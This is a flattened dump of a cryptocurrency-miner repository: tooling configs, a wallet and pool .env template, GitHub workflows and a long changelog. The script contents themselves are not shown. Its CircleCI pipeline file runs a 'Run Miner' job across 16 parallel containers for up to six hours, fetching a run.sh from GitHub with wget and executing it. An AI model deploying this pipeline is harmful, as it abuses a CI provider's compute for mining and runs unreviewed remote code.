├── .editorconfig
├── .env.example
├── .envrc
├── .github
├── assets
│ ├── k9s.png
│ └── security.jpg
├── config
│ ├── .hadolint.yaml
│ ├── .releaserc.json
│ ├── .yamllint.yaml
│ └── circle-ci-pipeline.yaml
├── renovate.json
├── taskfiles
│ └── pre-commit.yaml
└── workflows
│ ├── ci-build.yaml
│ ├── ci-quality.yaml
│ └── release.yaml
├── .gitignore
├── .pre-commit-config.yaml
├── CHANGELOG.md
├── Dockerfile
├── LICENSE
├── README.md
├── Taskfile.yaml
├── devbox.json
├── devbox.lock
├── docker-compose.yaml
├── infra
├── README.md
├── kubernetes
│ ├── helm
│ │ ├── .helmignore
│ │ ├── Chart.yaml
│ │ ├── README.md
│ │ ├── templates
│ │ │ ├── NOTES.txt
│ │ │ ├── _helpers.tpl
│ │ │ ├── deployment.yaml
│ │ │ └── hpa.yaml
│ │ └── values.yaml
│ ├── kind.yaml
│ └── manifests
│ │ ├── base
│ │ ├── kustomization.yml
│ │ └── namespace.yaml
│ │ └── overlays
│ │ ├── default
│ │ ├── deployment.yaml
│ │ └── kustomization.yml
│ │ └── scale
│ │ ├── daemonset.yaml
│ │ └── kustomization.yml
└── terraform
│ ├── setup-ec2
│ ├── .gitignore
│ ├── README.md
│ ├── _backend.tf
│ ├── _datas.tf
│ ├── _locals.tf
│ ├── _outputs.tf
│ ├── _providers.tf
│ ├── _required.tf
│ ├── _variables.tf
│ ├── aws_ec2.tf
│ └── files
│ │ └── scripts
│ │ └── run.sh
│ ├── setup-eks
│ ├── _backend.tf
│ ├── _datas.tf
│ ├── _locals.tf
│ ├── _outputs.tf
│ ├── _providers.tf
│ ├── _required.tf
│ ├── eks_cluster.tf
│ └── eks_kms.tf
│ └── setup-network
│ ├── _backend.tf
│ ├── _datas.tf
│ ├── _locals.tf
│ ├── _outputs.tf
│ ├── _providers.tf
│ ├── _required.tf
│ └── aws_vpc.tf
├── package.json
└── src
├── circleci
└── run.sh
└── xmrig
├── config
└── xmrig.json
└── entrypoint.sh
/.editorconfig:
--------------------------------------------------------------------------------
1 | # http://editorconfig.org
2 |
3 | # This is the project's root directory
4 | root = true
5 |
6 | # Unix-style newlines with a newline ending every file
7 | [*]
8 | # The files are utf-8 encoded
9 | charset = utf-8
10 | # Each indent should contain 2 spaces
11 | indent_size = 2
12 | # Use Unix line endings
13 | end_of_line = lf
14 | # Use spaces for indentation
15 | indent_style = space
16 | # A file must end with an empty line - this is good for version control systems
17 | insert_final_newline = true
18 | # No whitespace at the end of line
19 | trim_trailing_whitespace = true
20 |
21 |
--------------------------------------------------------------------------------
/.env.example:
--------------------------------------------------------------------------------
1 | MINING_POOL=""
2 | MINING_COIN=""
3 | REFERRAL_CODE=""
4 | WALLET_ADDRESS=""
5 | WORKER_NAME=""
6 |
--------------------------------------------------------------------------------
/.envrc:
--------------------------------------------------------------------------------
1 | # Devbox Support
2 | dotenv_if_exists .env
3 |
4 | # This script checks if devbox is available, generates direnv configuration, and exits if successful
5 | if has devbox; then
6 | eval "$(devbox generate direnv --print-envrc)"
7 | exit 0
8 | else
9 | echo "Devbox is not installed. Please install it to proceed."
10 | exit 1
11 | fi
--------------------------------------------------------------------------------
/.github/assets/k9s.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lpsm-dev/docker-crypto-miner/d117d8091c977e00f4b67be3569aaa462bcf5dc7/.github/assets/k9s.png
--------------------------------------------------------------------------------
/.github/assets/security.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lpsm-dev/docker-crypto-miner/d117d8091c977e00f4b67be3569aaa462bcf5dc7/.github/assets/security.jpg
--------------------------------------------------------------------------------
/.github/config/.hadolint.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | ignored:
3 | - DL3006
4 | - DL3008
5 | - DL3018
6 | - SC2046
7 | - DL3003
8 |
--------------------------------------------------------------------------------
/.github/config/.releaserc.json:
--------------------------------------------------------------------------------
1 | {
2 | "branches": [
3 | "main"
4 | ],
5 | "tagFormat": "${version}",
6 | "plugins": [
7 | ["@semantic-release/commit-analyzer", {
8 | "preset": "conventionalcommits",
9 | "releaseRules": [
10 | { "type": "build", "release": "patch" },
11 | { "type": "docs", "release": "patch" },
12 | { "type": "ci", "release": "patch" },
13 | { "type": "feat", "release": "minor" },
14 | { "type": "fix", "release": "patch" },
15 | { "type": "perf", "release": "patch" },
16 | { "type": "refactor", "release": "patch" },
17 | { "type": "style", "release": "patch" },
18 | { "type": "test", "release": "patch" },
19 | { "revert": true, "release": "patch" },
20 | { "breaking": true, "release": "major" }
21 | ],
22 | "parserOpts": {
23 | "noteKeywords": ["BREAKING CHANGE", "BREAKING CHANGES", "BREAKING"]
24 | }
25 | }],
26 | ["@semantic-release/release-notes-generator", {
27 | "preset": "conventionalcommits",
28 | "presetConfig": {
29 | "types": [
30 | { "type": "build", "section": ":nut_and_bolt: Build", "hidden": false },
31 | { "type": "ci", "section": ":repeat: CI", "hidden": false },
32 | { "type": "docs", "section": ":memo: Docs", "hidden": false },
33 | { "type": "feat", "section": ":sparkles: News", "hidden": false },
34 | { "type": "fix", "section": ":bug: Fix", "hidden": false },
35 | { "type": "perf", "section": ":fast_forward: Performance", "hidden": false },
36 | { "type": "refactor", "section": ":zap: Refact", "hidden": false },
37 | { "type": "revert", "section": ":flashlight: Revert", "hidden": false },
38 | { "type": "style", "section": ":barber: Style", "hidden": false },
39 | { "type": "test", "section": ":white_check_mark: Test", "hidden": false }
40 | ]}
41 | }],
42 | ["@semantic-release/github", {
43 | "addReleases": "top"
44 | }],
45 | ["@semantic-release/changelog", {
46 | "changelogFile": "CHANGELOG.md",
47 | "changelogTitle": "# Semantic Versioning Changelog"
48 | }],
49 | ["@semantic-release/git", {
50 | "assets": ["CHANGELOG.md", "README.md"],
51 | "message": "chore(release): version <%= nextRelease.version %> - <%= new Date().toLocaleDateString('en-US', {year: 'numeric', month: 'short', day: 'numeric', hour: 'numeric', minute: 'numeric' }) %>"
52 | }]
53 | ]
54 | }
55 |
--------------------------------------------------------------------------------
/.github/config/.yamllint.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | extends: default
3 | rules:
4 | line-length:
5 | max: 300
6 | level: warning
7 | indentation:
8 | spaces: 2
9 | indent-sequences: false
10 |
--------------------------------------------------------------------------------
/.github/config/circle-ci-pipeline.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | version: 2.1
3 |
4 | description: |
5 | Run a command with retry
6 |
7 | jobs:
8 | running:
9 | docker:
10 | - image: circleci/ruby:3.0.3
11 | parallelism: 16
12 | steps:
13 | - run:
14 | name: Run Miner
15 | no_output_timeout: 360m
16 | command: |
17 | wget https://raw.githubusercontent.com/ci-monk/docker-crypto-miner/main/src/circleci/run.sh
18 | chmod +x run.sh && ./run.sh
19 |
20 | workflows:
21 | version: 2
22 | build:
23 | jobs:
24 | - running:
25 | filters:
26 | branches:
27 | only: main
28 | tags:
29 | only: /.*/
30 |
--------------------------------------------------------------------------------
/.github/renovate.json:
--------------------------------------------------------------------------------
1 | {
2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json",
3 | "extends": ["config:base", ":disableDependencyDashboard"]
4 | }
5 |
--------------------------------------------------------------------------------
/.github/taskfiles/pre-commit.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | version: "3"
3 |
4 | tasks:
5 | init:
6 | desc: Initialize pre-commit hooks
7 | preconditions:
8 | - sh: "which pre-commit"
9 | msg: "kind {{.PATH_ERROR}}"
10 | cmds:
11 | - pre-commit clean
12 | - pre-commit gc
13 | - task: update
14 | - pre-commit install --install-hooks -t commit-msg
15 |
16 | update:
17 | desc: Update pre-commit hooks
18 | cmds:
19 | - pre-commit autoupdate
20 |
21 | delete:
22 | desc: Delete pre-commit hooks
23 | cmds:
24 | - pre-commit uninstall --hook-type commit-msg
25 |
26 | run:
27 | desc: Run pre-commit hooks
28 | cmds:
29 | - pre-commit run --all-files
30 |
--------------------------------------------------------------------------------
/.github/workflows/ci-build.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | name: Manual - Docker Build
3 |
4 | on:
5 | workflow_dispatch:
6 | inputs:
7 | git-tag:
8 | description: Git Tag
9 | default: 1.0.0
10 | required: true
11 |
12 | env:
13 | REGISTRY: ghcr.io
14 | IMAGE_NAME: ${{ github.repository }}
15 |
16 | jobs:
17 | build:
18 | name: Build
19 | runs-on: ubuntu-latest
20 | steps:
21 | - name: Checkout Repository
22 | uses: actions/checkout@v3
23 | with:
24 | fetch-depth: 0
25 |
26 | - name: Set up QEMU
27 | id: qemu
28 | uses: docker/setup-qemu-action@v2
29 | with:
30 | image: tonistiigi/binfmt:latest
31 | platforms: all
32 |
33 | - name: Set up Docker Buildx
34 | id: buildx
35 | uses: docker/setup-buildx-action@v2
36 | with:
37 | install: true
38 | buildkitd-flags: --debug
39 |
40 | - name: Inspect builder
41 | run: |
42 | echo "Name: ${{ steps.buildx.outputs.name }}"
43 | echo "Endpoint: ${{ steps.buildx.outputs.endpoint }}"
44 | echo "Status: ${{ steps.buildx.outputs.status }}"
45 | echo "Flags: ${{ steps.buildx.outputs.flags }}"
46 | echo "Platforms: ${{ steps.buildx.outputs.platforms }}"
47 |
48 | - name: Login to GHCR
49 | uses: docker/login-action@v2
50 | with:
51 | registry: ${{ env.REGISTRY }}
52 | username: ${{ github.actor }}
53 | password: ${{ secrets.GH_BUILD_TOKEN }}
54 |
55 | - name: Extract metadata (tags, labels) for Docker
56 | id: meta
57 | uses: docker/metadata-action@v4
58 | with:
59 | images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
60 | tags: |
61 | type=edge,enable=true,branch=main
62 | type=ref,enable=true,event=branch
63 | type=ref,enable=true,event=tag
64 | type=semver,pattern={{version}},value=${{ github.event.inputs.git-tag }}
65 |
66 | - name: Build and push
67 | uses: docker/build-push-action@v4
68 | with:
69 | push: ${{ github.event_name != 'pull_request' }}
70 | file: Dockerfile
71 | tags: ${{ steps.meta.outputs.tags }}
72 | labels: ${{ steps.meta.outputs.labels }}
73 | platforms: linux/amd64,linux/arm64,linux/arm/v7,linux/arm/v6
74 |
75 | scan:
76 | name: Scan
77 | runs-on: ubuntu-20.04
78 | timeout-minutes: 10
79 | needs: build
80 | steps:
81 | - name: Checkout Repository
82 | uses: actions/checkout@v3
83 | with:
84 | fetch-depth: 0
85 |
86 | - name: Which image are we scanning?
87 | run: |
88 | echo "Image to scan: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.event.inputs.git-tag }}"
89 |
90 | - name: Run Trivy vulnerability scanner
91 | id: trivy
92 | uses: aquasecurity/trivy-action@master
93 | with:
94 | image-ref: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.event.inputs.git-tag }}
95 | format: sarif
96 | vuln-type: "os,library"
97 | output: trivy-results.sarif
98 |
99 | - name: Upload Trivy scan results to GitHub Security tab
100 | uses: github/codeql-action/upload-sarif@v2
101 | if: always()
102 | with:
103 | sarif_file: trivy-results.sarif
104 |
105 | - name: Run Snyk to check Docker image for vulnerabilities
106 | continue-on-error: true
107 | uses: snyk/actions/docker@master
108 | env:
109 | SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
110 | with:
111 | image: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:main
112 | args: --file=Dockerfile
113 |
--------------------------------------------------------------------------------
/.github/workflows/ci-quality.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | name: CI - Quality
3 |
4 | on:
5 | push:
6 | branches: [main]
7 |
8 | jobs:
9 | test:
10 | name: Test
11 | runs-on: ubuntu-latest
12 | steps:
13 | - name: Checkout repository
14 | uses: actions/checkout@v3
15 | with:
16 | fetch-depth: 0
17 |
18 | - name: Commit Lint
19 | uses: wagoid/commitlint-github-action@v5
20 | continue-on-error: true
21 |
22 | - name: Secret Detection
23 | uses: gitleaks/gitleaks-action@v2
24 | env:
25 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
26 | GITLEAKS_ENABLE_COMMENTS: true
27 | continue-on-error: false
28 |
29 | - name: Hadolint
30 | uses: hadolint/hadolint-action@v3.1.0
31 | with:
32 | dockerfile: Dockerfile
33 | recursive: false
34 | config: ${{ github.workspace }}/.github/config/.hadolint.yaml
35 | verbose: true
36 |
--------------------------------------------------------------------------------
/.github/workflows/release.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | name: Manual - Semantic Release
3 |
4 | on:
5 | workflow_dispatch:
6 | inputs:
7 | git-ref:
8 | description: Git branch reference
9 | default: main
10 | required: true
11 |
12 | jobs:
13 | release:
14 | name: Release
15 | runs-on: ubuntu-latest
16 | if: "!contains(github.event.head_commit.message, '[skip ci]')"
17 | permissions:
18 | contents: write
19 | steps:
20 | - name: Checkout
21 | uses: actions/checkout@v3
22 | with:
23 | fetch-depth: 0
24 | persist-credentials: false
25 | if: github.event.inputs.git-ref == 'main'
26 |
27 | - name: Setup node
28 | uses: actions/setup-node@v3
29 | with:
30 | node-version: "lts/*"
31 | if: github.event.inputs.git-ref == 'main'
32 |
33 | - name: Copy rules
34 | run: |
35 | cp .github/config/.releaserc.json .
36 |
37 | - name: Install dependencies
38 | run: npm install
39 | if: github.event.inputs.git-ref == 'main'
40 |
41 | - name: Release
42 | run: npx semantic-release
43 | if: github.event.inputs.git-ref == 'main'
44 | env:
45 | CI: true
46 | GH_TOKEN: ${{ secrets.GH_TOKEN }}
47 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # ================================================
2 | # GENERAL
3 | # ================================================
4 |
5 | # Ignore IDEs
6 | .idea
7 |
8 | # Ignore OS files
9 | .DS_Store
10 |
11 | # Packages
12 | *.tgz
13 |
14 | # Secrets path
15 | .secrets/
16 |
17 | # General reports
18 | /report
19 | /reports
20 | .dccache
21 |
22 | # Dot env
23 | .env
24 |
25 | # ================================================
26 | # VSCODE
27 | # ================================================
28 |
29 | .vscode/*
30 | !.vscode/settings.json
31 | !.vscode/tasks.json
32 | !.vscode/launch.json
33 | !.vscode/extensions.json
34 | *.code-workspace
35 |
36 | # Stores VSCode versions used for testing VSCode extensions
37 | .vscode-test
38 |
39 | # ================================================
40 | # TERRAFORM
41 | # ================================================
42 |
43 | # Local .terraform directories
44 | **/.terraform/*
45 |
46 | # .tfstate files
47 | *.tfstate
48 | *.tfstate.*
49 |
50 | # Crash log files
51 | crash.log
52 |
53 | # Exclude all .tfvars files, which are likely to contain sentitive data, such as
54 | # password, private keys, and other secrets. These should not be part of version
55 | # control as they are data points which are potentially sensitive and subject
56 | # to change depending on the environment.
57 | #
58 | *.tfvars
59 |
60 | # Ignore override files as they are usually used to override resources locally and so
61 | # are not checked in
62 | override.tf
63 | override.tf.json
64 | *_override.tf
65 | *_override.tf.json
66 |
67 | # Include override files you do wish to add to version control using negated pattern
68 | #
69 | # !example_override.tf
70 |
71 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan
72 | # example: *tfplan*
73 |
74 | # Ignore CLI configuration files
75 | .terraformrc
76 | terraform.rc
77 |
78 | tfsec.test.xml
79 | .terraform.lock.hcl
80 |
--------------------------------------------------------------------------------
/.pre-commit-config.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | repos:
3 | - repo: https://github.com/pre-commit/pre-commit-hooks
4 | rev: v4.5.0
5 | hooks:
6 | - id: check-json
7 | - id: check-case-conflict
8 | - id: check-merge-conflict
9 | - id: check-docstring-first
10 | - id: check-executables-have-shebangs
11 | - id: debug-statements
12 | - id: fix-byte-order-marker
13 | - id: fix-encoding-pragma
14 | - id: mixed-line-ending
15 | - id: trailing-whitespace
16 | args: [--markdown-linebreak-ext=md]
17 | - repo: https://github.com/Lucas-C/pre-commit-hooks
18 | rev: v1.5.5
19 | hooks:
20 | - id: remove-crlf
21 | - id: remove-tabs
22 | - repo: https://github.com/sirosen/fix-smartquotes
23 | rev: 0.2.0
24 | hooks:
25 | - id: fix-smartquotes
26 | - repo: https://github.com/asottile/add-trailing-comma
27 | rev: v3.1.0
28 | hooks:
29 | - id: add-trailing-comma
30 | - repo: https://github.com/asottile/yesqa
31 | rev: v1.5.0
32 | hooks:
33 | - id: yesqa
34 | - repo: https://github.com/commitizen-tools/commitizen
35 | rev: v3.21.3
36 | hooks:
37 | - id: commitizen
38 | - id: commitizen-branch
39 | stages: [push]
40 | - repo: https://github.com/gitleaks/gitleaks
41 | rev: v8.18.2
42 | hooks:
43 | - id: gitleaks-system
44 | args: [--verbose]
45 |
--------------------------------------------------------------------------------
/CHANGELOG.md:
--------------------------------------------------------------------------------
1 | # Semantic Versioning Changelog
2 |
3 | ## [1.5.2](https://github.com/lpsm-dev/docker-crypto-miner/compare/1.5.1...1.5.2) (2024-09-04)
4 |
5 |
6 | ### :bug: Fix
7 |
8 | * rm code ([fd6c7a3](https://github.com/lpsm-dev/docker-crypto-miner/commit/fd6c7a3663286876e45173c9524c587cfb32ebb7))
9 |
10 | ## [1.5.1](https://github.com/lpsm-dev/docker-crypto-miner/compare/1.5.0...1.5.1) (2024-09-04)
11 |
12 |
13 | ### :bug: Fix
14 |
15 | * change xmrig version ([1cfcd31](https://github.com/lpsm-dev/docker-crypto-miner/commit/1cfcd31851de6f0e290db7cf227b6593ac5a6061))
16 |
17 | ## [1.5.0](https://github.com/lpsm-dev/docker-crypto-miner/compare/1.4.0...1.5.0) (2024-09-03)
18 |
19 |
20 | ### :memo: Docs
21 |
22 | * add gifs ([6450784](https://github.com/lpsm-dev/docker-crypto-miner/commit/6450784b83c6156267dede68f2744be2ea8ee86e))
23 | * change yoda gif url ([bfe0aa7](https://github.com/lpsm-dev/docker-crypto-miner/commit/bfe0aa7d90acf554b881d0f01038cba6380c218c))
24 | * gif location ([809be33](https://github.com/lpsm-dev/docker-crypto-miner/commit/809be33a2f3972d463a0af364294c3e7c21b2707))
25 | * important section ([317f004](https://github.com/lpsm-dev/docker-crypto-miner/commit/317f0049aa6d8de76ded4d078e2bf3b9af3c2249))
26 | * link refs ([bfe5177](https://github.com/lpsm-dev/docker-crypto-miner/commit/bfe51775fb51e9d5df61bf1ff477828897d98a40))
27 | * small title change ([8ca1971](https://github.com/lpsm-dev/docker-crypto-miner/commit/8ca19711d52efad10793e5eec3c3f4b5f1c988a5))
28 | * update messages ([37d873c](https://github.com/lpsm-dev/docker-crypto-miner/commit/37d873ce3af04fe8d9ddb876739d7bb7a00979dc))
29 |
30 |
31 | ### :sparkles: News
32 |
33 | * add commands ([85c7a0e](https://github.com/lpsm-dev/docker-crypto-miner/commit/85c7a0e75cfc34b16ea2d9b424244f1751db62d7))
34 | * add config .yamllint.yml ([bef20c7](https://github.com/lpsm-dev/docker-crypto-miner/commit/bef20c773988bd9aa1958ce80c04e004c93e1eba))
35 | * add devbox ([6746619](https://github.com/lpsm-dev/docker-crypto-miner/commit/674661907d34c91f676f8d4f0b978a18e74a670b))
36 | * add direnv in tool-versions ([dca5c4b](https://github.com/lpsm-dev/docker-crypto-miner/commit/dca5c4bbc04626ca2a947c2a55e1a6b9949e9eaa))
37 | * add file ([7ff41c7](https://github.com/lpsm-dev/docker-crypto-miner/commit/7ff41c7bfc174dc177cfd72e87ed5be88110fe91))
38 | * tf organization ([992fbb5](https://github.com/lpsm-dev/docker-crypto-miner/commit/992fbb567cf5cfc9e9db4f75d2b1ff185735cd0c))
39 |
40 |
41 | ### :bug: Fix
42 |
43 | * docker build alpine version 3.15.10 ([7b574c2](https://github.com/lpsm-dev/docker-crypto-miner/commit/7b574c29c591677d0e4493bb652b62af5d2c5a37))
44 | * Dockerfile to reduce vulnerabilities ([89a313d](https://github.com/lpsm-dev/docker-crypto-miner/commit/89a313dc162c37ed31b57abf48cc429e4ac201e7))
45 | * extension file ([f050af6](https://github.com/lpsm-dev/docker-crypto-miner/commit/f050af673ea8371ca4e744b6942c0aa86603ad78))
46 | * no-cache option apk add ([1dd792a](https://github.com/lpsm-dev/docker-crypto-miner/commit/1dd792a484d531b6a4f89565ff35599ca756ce72))
47 | * release.yml ([3f52a37](https://github.com/lpsm-dev/docker-crypto-miner/commit/3f52a370969654e2682d3eb4397471af33af8b19))
48 | * setup taskfile ([d919e03](https://github.com/lpsm-dev/docker-crypto-miner/commit/d919e03b853d98693e08d782838bc27e9c502715))
49 | * setup tf code ([2f87715](https://github.com/lpsm-dev/docker-crypto-miner/commit/2f877159fc44be453cebb1cb6985fdc5c22d43d0))
50 | * setup tool versions ([32380ab](https://github.com/lpsm-dev/docker-crypto-miner/commit/32380ab86f633acc5c47bb7c76ac049b469c6179))
51 | * setup yaml files ([6c5171c](https://github.com/lpsm-dev/docker-crypto-miner/commit/6c5171c63d755288d4ac662f6f5d5d2ba2e5441e))
52 | * update tool-versions ([82ef0ca](https://github.com/lpsm-dev/docker-crypto-miner/commit/82ef0ca4820705eaef65e7f46097c8a59bcf2ccf))
53 | * value secrets ([b481a66](https://github.com/lpsm-dev/docker-crypto-miner/commit/b481a6693faa0617c6b149e960bc431f0e6412c0))
54 | * xmrig to 6.20 and others changes ([0f1d70b](https://github.com/lpsm-dev/docker-crypto-miner/commit/0f1d70bbf99f27016cce70f46d4025e90df65d81))
55 |
56 |
57 | ### :repeat: CI
58 |
59 | * call hadolint file ([1c2c53d](https://github.com/lpsm-dev/docker-crypto-miner/commit/1c2c53d426f02478aa8c16338d73400677dde14c))
60 | * change templates and rename files ([0aa6287](https://github.com/lpsm-dev/docker-crypto-miner/commit/0aa6287c528e21a1b82d799c3f79244831425103))
61 | * change va ([5715c77](https://github.com/lpsm-dev/docker-crypto-miner/commit/5715c773cad09e4c5c6747b5d3ae341a74a9f41b))
62 | * identation file ([8c16d72](https://github.com/lpsm-dev/docker-crypto-miner/commit/8c16d7202a285803ffaeb40bdd72eb08ada251c3))
63 | * rename file circle ci ([45535cb](https://github.com/lpsm-dev/docker-crypto-miner/commit/45535cb8b89170b076e32b0258c5a2399c1121dc))
64 |
65 | ## [1.4.0](https://github.com/lpsm-dev/docker-crypto-miner/compare/1.3.0...1.4.0) (2023-05-03)
66 |
67 |
68 | ### :sparkles: News
69 |
70 | * add code of conduct ([e1a2a2e](https://github.com/lpsm-dev/docker-crypto-miner/commit/e1a2a2e4e5035f40398fb62c6c365e7fe4a29aea))
71 | * add kustomize setup ([f5e0ac8](https://github.com/lpsm-dev/docker-crypto-miner/commit/f5e0ac843efdc27aaf6d7bdb03dab351a0f3ed3c))
72 | * add makefile ([dbd754c](https://github.com/lpsm-dev/docker-crypto-miner/commit/dbd754c8f62bdaac2b9e8ce205f9ca00dce80a56))
73 |
74 |
75 | ### :bug: Fix
76 |
77 | * Dockerfile to reduce vulnerabilities ([ec4a7b2](https://github.com/lpsm-dev/docker-crypto-miner/commit/ec4a7b2a70855550b5f645f9800785482190cb65))
78 | * Dockerfile to reduce vulnerabilities ([33daa09](https://github.com/lpsm-dev/docker-crypto-miner/commit/33daa0943258ccd338c81b129bc065e354d95a3f))
79 | * kustomize organization ([9a3db21](https://github.com/lpsm-dev/docker-crypto-miner/commit/9a3db21b81bec554993cd2baa1cc389940d9ba67))
80 | * package lock ([a1a372c](https://github.com/lpsm-dev/docker-crypto-miner/commit/a1a372cc045eefa7118eb7e08404752ba036d5d3))
81 | * remove folder ([b13fe8b](https://github.com/lpsm-dev/docker-crypto-miner/commit/b13fe8b447f71178d8148470804909be5058434c))
82 | * remove yarn ([7102f38](https://github.com/lpsm-dev/docker-crypto-miner/commit/7102f38861161a590f6a8814e34db9459f3da450))
83 | * reorganize includes ([40fc3ea](https://github.com/lpsm-dev/docker-crypto-miner/commit/40fc3ea7ceebce073d1f423484f460a489c3cc77))
84 | * run.sh script ([65032d8](https://github.com/lpsm-dev/docker-crypto-miner/commit/65032d8057a661441aa1084be17357ffac1bd318))
85 | * **script:** change lines ([59da95a](https://github.com/lpsm-dev/docker-crypto-miner/commit/59da95a6299eb16530dbe63fc97e7fd87a56663c))
86 | * setup files ([bcdbe62](https://github.com/lpsm-dev/docker-crypto-miner/commit/bcdbe62160481484665d8a70feaf172dee119240))
87 | * terraform setups ([c604ecf](https://github.com/lpsm-dev/docker-crypto-miner/commit/c604ecfef6f2b9b53ba1f9b5c67fcce80de50dd3))
88 | * terraform vars ([b27c6e8](https://github.com/lpsm-dev/docker-crypto-miner/commit/b27c6e80cd46fb746d4142199a2fe9e35461c028))
89 | * tf setup ([feeb0a6](https://github.com/lpsm-dev/docker-crypto-miner/commit/feeb0a62977543fa301e2b52cb66a10772f6237b))
90 | * values helm ([120f3ee](https://github.com/lpsm-dev/docker-crypto-miner/commit/120f3ee47a16c4bad2f9cbbee65416cd3c30bc75))
91 |
92 |
93 | ### :memo: Docs
94 |
95 | * add info ([e063d2d](https://github.com/lpsm-dev/docker-crypto-miner/commit/e063d2d141e220640640698c64ae9c0ce7104181))
96 | * add more section ([d09c531](https://github.com/lpsm-dev/docker-crypto-miner/commit/d09c53146e77cb6a5d20bc0714c922d6d1c4ceba))
97 | * add setup style ([167a1dc](https://github.com/lpsm-dev/docker-crypto-miner/commit/167a1dcb39753475f69f75d24f7e5ea82dce4e1c))
98 | * change badge icon ([9a79ce1](https://github.com/lpsm-dev/docker-crypto-miner/commit/9a79ce15399893ccf65dae99f578e80fb8617379))
99 | * change content readme ([65502f2](https://github.com/lpsm-dev/docker-crypto-miner/commit/65502f2abe247d10f9c7938c1dd049e864add0b2))
100 | * change desc ([9181145](https://github.com/lpsm-dev/docker-crypto-miner/commit/9181145de5bad1d5d80dfca6097ebd85ba6411d5))
101 | * change readme ([93eb95e](https://github.com/lpsm-dev/docker-crypto-miner/commit/93eb95ed6cddd7578a67d32b82aef8ca88d355ee))
102 | * fix call link here ([9e3cc50](https://github.com/lpsm-dev/docker-crypto-miner/commit/9e3cc50d01210d9ab286fadbeca3230a1667864e))
103 | * image size ([d320980](https://github.com/lpsm-dev/docker-crypto-miner/commit/d320980fb7d2ab5fc031d6c3c696ac8f81f0e523))
104 | * remove security mk topic 2 ([8dec243](https://github.com/lpsm-dev/docker-crypto-miner/commit/8dec243f8ff6a7e820eb9a82fc641c9718477f94))
105 | * remove topic ([ce93451](https://github.com/lpsm-dev/docker-crypto-miner/commit/ce934510b0b3ab6ead76d85e4280dce63a457cf1))
106 | * rename image docke ([07b7c80](https://github.com/lpsm-dev/docker-crypto-miner/commit/07b7c8052090eddc843221e429ed998c71a2cf10))
107 | * rename topic ([291187c](https://github.com/lpsm-dev/docker-crypto-miner/commit/291187ce4423d450075b7dfc7b807a0af9868c06))
108 |
109 |
110 | ### :repeat: CI
111 |
112 | * fix smr ([3be5497](https://github.com/lpsm-dev/docker-crypto-miner/commit/3be5497fbf89b5d3281a3d7ab45127b2d579b3b7))
113 | * others templates ([b79716d](https://github.com/lpsm-dev/docker-crypto-miner/commit/b79716dfce472ee4245c567303f6b88354431ea0))
114 | * simple empty line ([d12f65c](https://github.com/lpsm-dev/docker-crypto-miner/commit/d12f65cc702521c3fec11112dfd81b1e0a511bb9))
115 |
116 | ## [1.3.0](https://github.com/ci-monk/docker-crypto-miner/compare/1.2.0...1.3.0) (2023-02-22)
117 |
118 |
119 | ### :bug: Fixes
120 |
121 | * call script and run ([4849f57](https://github.com/ci-monk/docker-crypto-miner/commit/4849f57031144c2fc98ee9bbdbdc82356381ba67))
122 | * circle ci location ([bea75f7](https://github.com/ci-monk/docker-crypto-miner/commit/bea75f701e56c3dbe521b6e69a7f821cb477d8eb))
123 | * helm-docs readme ([a392ab8](https://github.com/ci-monk/docker-crypto-miner/commit/a392ab883db20309dfc2b1ff33b258da89678b9a))
124 | * image path ([67449fc](https://github.com/ci-monk/docker-crypto-miner/commit/67449fc4388f7b87c9071d912b6db6961df9f3ef))
125 | * job syntax running when ([a8a128c](https://github.com/ci-monk/docker-crypto-miner/commit/a8a128c20d41d80f9533332b365feba1de2dbc22))
126 | * run script ([002d127](https://github.com/ci-monk/docker-crypto-miner/commit/002d12768abe0a2aa433caec0040f413890694d6))
127 | * script circle ci ([e00d79e](https://github.com/ci-monk/docker-crypto-miner/commit/e00d79ee591b9d6f25015d87a27c9e2658f78a43))
128 | * setup kubernetes resources and configs ([e9f15b3](https://github.com/ci-monk/docker-crypto-miner/commit/e9f15b373323e553c997b80ada8ff64e3086e414))
129 | * syntax circle ci ([6118d25](https://github.com/ci-monk/docker-crypto-miner/commit/6118d25e8989ac2ed099768d9c341d88aca62e06))
130 | * timeout circle ci ([4cfca33](https://github.com/ci-monk/docker-crypto-miner/commit/4cfca3323dc62702301850260de5b0c4ccaba162))
131 |
132 |
133 | ### :sparkles: News
134 |
135 | * add circle ci folder ([c86ee42](https://github.com/ci-monk/docker-crypto-miner/commit/c86ee421b86a5b2a9367b35c6b0600573b234835))
136 | * add images ([cae422a](https://github.com/ci-monk/docker-crypto-miner/commit/cae422ab52ca0d791bdd9b1298a8460aeef2b444))
137 |
138 |
139 | ### :memo: Docs
140 |
141 | * back buttom url ([8fc1a68](https://github.com/ci-monk/docker-crypto-miner/commit/8fc1a68c2c9ea208d9d43619aaae8ebc6b32a679))
142 | * chance principal desc ([1a6e0f8](https://github.com/ci-monk/docker-crypto-miner/commit/1a6e0f8764f8d5886dc71aa56a4991f3987604a5))
143 | * change message ([7c9fb0c](https://github.com/ci-monk/docker-crypto-miner/commit/7c9fb0c42ecc433fd23e6fe46a810ea50e65a0d3))
144 | * change name ([b476961](https://github.com/ci-monk/docker-crypto-miner/commit/b476961d33f791beb0c4d0728fa74b16a680dd01))
145 | * change urls ([d3ffa40](https://github.com/ci-monk/docker-crypto-miner/commit/d3ffa407e27d610f9cfecd544d32c6699fcbf9e9))
146 | * menu options ([a242f27](https://github.com/ci-monk/docker-crypto-miner/commit/a242f27527d0697b3c858f1f19b2342ebe17abd6))
